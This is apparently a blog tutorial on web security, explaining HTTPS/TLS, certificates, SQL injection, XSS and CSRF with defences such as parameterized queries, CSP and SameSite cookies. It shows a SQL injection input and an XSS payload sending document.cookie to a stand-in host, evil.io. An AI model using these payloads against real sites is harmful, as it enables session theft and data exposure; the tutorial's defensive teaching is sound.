Web Security Explained: How Websites Defend Against Common Attacks

Diagram of web security layers: an HTTPS padlock tunnel, a database under SQL injection, and browser shields for XSS and CSRF

Web security explained simply: it is the set of defenses that keeps your data private while it travels and stops attackers from abusing the websites you trust. Those defenses run in layers, from the padlock in your browser's address bar down to the database behind a login form.

This guide follows those layers in order. You'll see how HTTPS encrypts traffic, how certificates prove a site's identity, and why the padlock doesn't mean a site is honest. Then we move to the server and cover three classic attacks, SQL injection, cross-site scripting and cross-site request forgery, along with the fixes that stop each one.

In short
  • HTTPS wraps normal web traffic in an encrypted TLS tunnel, so people on the same network can't read or alter it.
  • Certificates prove you're talking to the domain in the address bar. The padlock does not prove the site is trustworthy.
  • Parameterized queries stop SQL injection by keeping user input separate from the query's structure.
  • Output escaping plus a Content Security Policy is the standard two-layer defense against XSS.
  • SameSite cookies and CSRF tokens stop other sites from making requests in your name.
  1. 0:00Intro
  2. 0:22You're Already on the Battlefield
  3. 1:24TLS Wraps Every Byte in Encryption
  4. 2:30The Handshake in Three Moves
  5. 3:29What the Snooper Actually Sees
  6. 4:32Certificates Answer: Who Are You?
  7. 5:38Padlock Means Encrypted, Not Trustworthy
  8. 6:18SQL Injection: One Input, Whole Database
  9. 7:22Parameterized Queries Stop It Cold
  10. 8:23Cross-Site Scripting: Poisoning Trusted Pages
  11. 9:27Escape Output, Then Add CSP
  12. 10:26The Samy Worm Went Viral Overnight
  13. 11:33CSRF: Your Browser, Their Orders
  14. 12:32SameSite Cookies and Secret Tokens

Why Web Security Matters for Every Website

Attacks on websites aren't reserved for banks or governments. If a site is on the internet, automated tools will find it and probe it, usually within hours of going live. Today's attacker is mostly software: scanners and bots that sweep the internet for anything misconfigured, unpatched or carelessly coded.

Consider two everyday situations. You join a café's free Wi-Fi and check your email. If that connection isn't encrypted, someone at the next table running a packet sniffer can read your traffic as plain text. On the server side, a single form field that trusts user input can be enough to expose every customer record a company holds.

The damage goes beyond the technical. A breach costs money, but lost user trust is much harder to win back. That is why security is worth understanding even if you only run a small site.

  • Attacks are automated, constant and aimed at everyone
  • Unencrypted public Wi-Fi exposes what you send
  • One unchecked input can leak an entire database

How HTTPS and TLS Encrypt Your Traffic

HTTPS is ordinary HTTP running inside an encrypted tunnel. The protocol that provides the encryption is TLS, short for Transport Layer Security. Web pages work exactly the same way, with the same requests and responses. TLS scrambles everything before it leaves your device, and only the real server can decrypt it. The café router, your internet provider and every machine in between see only scrambled bytes.

TLS provides confidentiality, which means passwords, cookies and messages are unreadable to anyone watching the network. It also provides integrity. Every chunk of data carries a check, so if someone changes it along the way, for example to inject ads or malware, the change is detected.

How do two strangers agree on a secret while others are listening? They use a short handshake before any page data is sent. The browser lists the encryption methods it supports. The server picks the strongest shared option and sends its certificate. Next, each side creates a temporary key pair, swaps only the public halves, and calculates the same shared secret. That secret never crosses the wire, so an eavesdropper who saw the whole exchange still can't work it out. Finally, both sides use that key for fast symmetric encryption for the rest of the session.

  • Step 1: hello, cipher options and the server's certificate
  • Step 2: key exchange produces a shared secret that is never transmitted
  • Step 3: fast symmetric encryption for the rest of the session

What Can Someone See on Public Wi-Fi?

Picture the same login sent over café Wi-Fi twice. Over plain HTTP, a snooper can read your username and password, copy your session cookie and even rewrite the page you receive. Over HTTPS, they can see which server you contacted, but nothing useful beyond that. Wi-Fi capture tools are free and easy to use, which is why unencrypted sites are no longer acceptable.

The stolen cookie matters more than most people expect. Your session cookie is what keeps you logged in. Whoever holds a copy is treated as you by the site, and they don't need your password. This is called session hijacking.

Attackers can also try to quietly push you onto the HTTP version of a site, which is called a downgrade. HSTS closes that gap. It is a response header that tells browsers to always use HTTPS for that site.

How Certificates Work, and What the Padlock Really Means

Encryption alone isn't enough. A perfectly encrypted connection to the wrong server is worthless, because TLS would simply deliver your password to the impostor. Certificates solve this by working like a passport for a website. A certificate ties a domain name to a public key, and it is signed by an organisation your browser already trusts, called a Certificate Authority.

Your browser and operating system come with a list of trusted root authorities. Roots sign intermediate certificates, and intermediates sign the site's certificate. On every connection, the browser checks that chain. It confirms the signatures are valid, the name matches the address bar, and the certificate is not expired or revoked. If any check fails, you see a warning. Never click through it, because it may be the only sign that someone is impersonating the site.

Here's the common myth: the padlock does not mean a site is safe. Certificates are now free and issued automatically, so phishing sites get padlocks too. A lookalike domain such as "paypa1" with the number one can have a valid certificate. The padlock only means your connection to that site is private. Always read the actual domain name, especially when you arrived from a link in an email or text.

What Is SQL Injection?

SQL injection is one of the oldest and most damaging server-side attacks. The attacker tricks an application into running the attacker's database commands instead of its own. Login forms, search bars and URL parameters all end up talking to a database. The trouble starts when code builds a query by pasting raw user text straight into the SQL string.

In the example below, the code expects a name. An attacker types a quote followed by OR 1=1. The quote ends the string early, the condition becomes always true, and the query returns every user in the table. That is the mild version.

More carefully crafted inputs can pull data from any table, including customer emails, password hashes and payment details. Some injections go further and change or delete data, or bypass login entirely.

# Vulnerable: input glued into the query
q = "SELECT * FROM users WHERE name = '"
    + input + "'"
# Attacker types:  ' OR '1'='1
# Query becomes: ...WHERE name = '' OR '1'='1'

How Parameterized Queries Prevent SQL Injection

SQL injection is almost completely preventable. Instead of gluing strings together, use parameterized queries, also called prepared statements. The query's structure goes to the database on its own, and user input goes separately as plain data in labelled slots. In the example, the question mark is a placeholder and the value is passed in a separate list.

This works because the database reads and plans the command before it sees the values. Once the input arrives, the query's meaning is already fixed. If someone types the same quote-OR-1=1 trick, the database simply searches for a user with that odd literal name and finds nobody.

Most frameworks and ORMs parameterize queries by default. The risk comes back when a developer switches to writing raw SQL strings by hand, so be careful in those spots.

# Safe: placeholder + separate values
db.query(
  "SELECT * FROM users WHERE name = ?",
  [input]
)

What Is Cross-Site Scripting (XSS)?

SQL injection targets the database. Cross-site scripting, or XSS, targets the people who use a site. The attacker sneaks their own JavaScript into a page on a site you trust, and your browser runs it with all of that site's privileges.

Imagine a comment section that inserts whatever people type directly into the page as HTML. A comment containing a script tag is not displayed. It is executed. In the classic payload below, every visitor who loads the comment silently sends their cookies to the attacker's server. The attacker never breaks into the website. The site itself delivers the attack to every reader.

The browser can't tell the injected script apart from legitimate code. That lets it steal sessions, submit forms as you, or replace the real login box with a fake one. XSS comes in three types: stored in the database, reflected from a link, or built in the page by scripts (DOM-based).

# Posted as a harmless 'comment':
<script>
  fetch('//evil.io/?c=' + document.cookie)
</script>

How to Prevent XSS: Escape Output and Add a CSP

The key mindset is that anything that came from a user is just text. It should be displayed, never interpreted. The first layer of defense is output escaping. Characters such as < and > are converted to &lt; and &gt;, so the browser shows the script tag as text instead of running it. Frameworks like React escape by default. Problems creep in through features that insert raw HTML, such as innerHTML and dangerouslySetInnerHTML. If you truly need user-supplied formatting, sanitize it first, or avoid these features.

The second layer is a Content Security Policy (CSP), sent as a response header. The example policy tells the browser to run only scripts from the site's own domain. If an injected script slips through, whether it is inline or loaded from an outside domain, the browser blocks it.

The Samy worm on MySpace in 2005 shows why both layers matter. MySpace used a blocklist to filter scripts out of profiles. One user hid JavaScript in places the filter didn't check, using tricks like splitting keywords apart. Anyone who viewed the profile ran the script while logged in, which added the author as a friend and copied the script onto the visitor's own profile. It infected more than a million accounts in under a day.

# Only run scripts from our own origin
Content-Security-Policy:
  default-src 'self';
  script-src 'self';
  object-src 'none'

What Is CSRF and How Do You Stop It?

Cross-site request forgery, or CSRF, doesn't inject any code. It tricks your logged-in browser into acting for the attacker. The cause is a convenience feature: browsers automatically attach a site's cookies to requests sent to that site, no matter which page started the request. So if you're logged in to your bank and open a sketchy page in another tab, a hidden auto-submitting form can send a transfer request with your cookie attached. To the bank, the request looks completely valid.

Two defenses work together to stop this. The first is the SameSite cookie attribute. When set to Lax or Strict, it stops the browser from sending the cookie on requests that start on another site. The Secure and HttpOnly attributes add more protection by keeping the cookie off plain HTTP and out of reach of scripts.

The second defense is a CSRF token. This is a random, unguessable value placed in your own forms, and the server checks it on every request that changes something. An attacker's page can't read your page, so it can't learn the token. Also follow one design rule: never let a GET request change anything, because links and image loads send GET requests freely.

  • SameSite=Lax or Strict on session cookies
  • Secure and HttpOnly to keep cookies off HTTP and away from scripts
  • CSRF tokens on every state-changing form
  • Use POST, not GET, for transfers, deletes and updates
# Cookie stays home on cross-site requests
Set-Cookie: session=abc123;
  SameSite=Lax; Secure; HttpOnly

Key takeaways

  • HTTPS provides confidentiality and integrity, and HSTS stops downgrade attacks to HTTP.
  • Certificates verify the domain, not the honesty of the people running it, so always check the address bar.
  • Never build SQL by joining strings. Use parameterized queries.
  • Treat user input as text: escape output, avoid raw-HTML features, and add a CSP.
  • Defend against CSRF with SameSite cookies, CSRF tokens and no state changes on GET requests.

Frequently asked questions

Does the padlock icon mean a website is safe?

No. The padlock means your connection to that domain is encrypted. Phishing sites can get valid certificates for their own lookalike domains, so always check the actual domain name.

What is the difference between HTTP and HTTPS?

HTTPS is HTTP sent inside an encrypted TLS tunnel. Over plain HTTP, anyone on the network can read logins and cookies or alter pages. Over HTTPS, they see only which server you contacted.

How do you prevent SQL injection?

Use parameterized queries, also called prepared statements, so user input is sent separately from the query structure. The database fixes the query's meaning before it sees the input, so the input can't change what the query does.

What is the difference between XSS and CSRF?

XSS injects the attacker's script into a trusted page so it runs in visitors' browsers. CSRF injects nothing. It tricks your logged-in browser into sending a request you never intended, using the cookies your browser attaches automatically.

Is it safe to use public Wi-Fi?

It is much safer on HTTPS sites, because people on the network see only scrambled data. On unencrypted HTTP sites, anyone running a packet sniffer can read what you send, including session cookies.

What was the Samy worm?

It was a 2005 XSS worm on MySpace. A script hidden in one profile slipped past MySpace's filter, ran in visitors' browsers, and copied itself onto their profiles, infecting more than a million accounts in under a day.

Watch the full video on YouTube →

Souy Soeng

Souy Soeng

Hi there 👋, I’m Soeng Souy (StarCode Kh)
-------------------------------------------
🌱 I’m currently creating a sample Laravel and React Vue Livewire
👯 I’m looking to collaborate on open-source PHP & JavaScript projects
💬 Ask me about Laravel, MySQL, or Flutter
⚡ Fun fact: I love turning ☕️ into code!

Post a Comment

CAN FEEDBACK
Ad